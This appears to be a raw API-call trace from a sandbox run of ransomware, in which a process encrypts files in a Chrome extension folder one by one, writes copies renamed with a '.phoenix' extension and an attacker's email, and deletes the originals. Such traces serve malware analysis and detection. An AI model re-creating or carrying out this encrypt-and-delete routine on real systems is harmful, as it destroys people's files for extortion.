	[0261.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.064] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.064] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.064] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.066] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0261.066] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.066] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1378, lpOverlapped=0x0) returned 1
	[0261.145] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1380, dwBufLen=0x1380 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1380) returned 1
	[0261.145] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1380, lpOverlapped=0x0) returned 1
	[0261.146] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0261.146] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.146] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30, dwBufLen=0x30 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x30) returned 1
	[0261.146] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.146] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe2, lpOverlapped=0x0) returned 1
	[0261.146] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.146] CloseHandle (hObject=0x250) returned 1
	[0261.146] CloseHandle (hObject=0x258) returned 1
	[0261.146] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png")) returned 1
	[0261.148] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.148] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=23404) returned 1
	[0261.148] CloseHandle (hObject=0x258) returned 1
	[0261.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js")) returned 0x20
	[0261.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.149] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.149] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.149] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.149] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.149] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0261.149] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.149] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5b6c, lpOverlapped=0x0) returned 1
	[0261.152] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5b70, dwBufLen=0x5b70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5b70) returned 1
	[0261.152] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5b70, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5b70, lpOverlapped=0x0) returned 1
	[0261.154] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0261.154] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.154] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0261.154] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.154] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0261.154] CryptDestroyKey (hKey=0x151380) returned 1
	[0261.154] CloseHandle (hObject=0x258) returned 1
	[0261.154] CloseHandle (hObject=0x250) returned 1
	[0261.154] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js")) returned 1
	[0261.155] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.156] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.156] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1457) returned 1
	[0261.156] CloseHandle (hObject=0x250) returned 1
	[0261.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json")) returned 0x20
	[0261.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.156] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.157] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.157] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.157] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0261.158] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.158] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5b1, lpOverlapped=0x0) returned 1
	[0261.221] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5c0) returned 1
	[0261.221] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5c0, lpOverlapped=0x0) returned 1
	[0261.222] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0261.222] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.222] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.222] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.222] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.223] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.223] CloseHandle (hObject=0x250) returned 1
	[0261.223] CloseHandle (hObject=0x258) returned 1
	[0261.223] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json")) returned 1
	[0261.224] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.228] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=132) returned 1
	[0261.228] CloseHandle (hObject=0x258) returned 1
	[0261.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json")) returned 0x20
	[0261.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.229] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.229] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.229] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0261.230] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.230] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x84, lpOverlapped=0x0) returned 1
	[0261.235] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0261.235] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x90, lpOverlapped=0x0) returned 1
	[0261.236] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0261.236] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.236] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.236] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.236] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.236] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.236] CloseHandle (hObject=0x258) returned 1
	[0261.236] CloseHandle (hObject=0x250) returned 1
	[0261.237] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json")) returned 1
	[0261.238] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.238] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.238] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=259) returned 1
	[0261.238] CloseHandle (hObject=0x250) returned 1
	[0261.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json")) returned 0x20
	[0261.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.239] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.239] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.239] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.239] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.240] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0261.240] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.240] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x103, lpOverlapped=0x0) returned 1
	[0261.241] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0261.241] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0261.243] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0261.243] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.243] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.243] CryptDestroyKey (hKey=0x151480) returned 1
	[0261.243] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
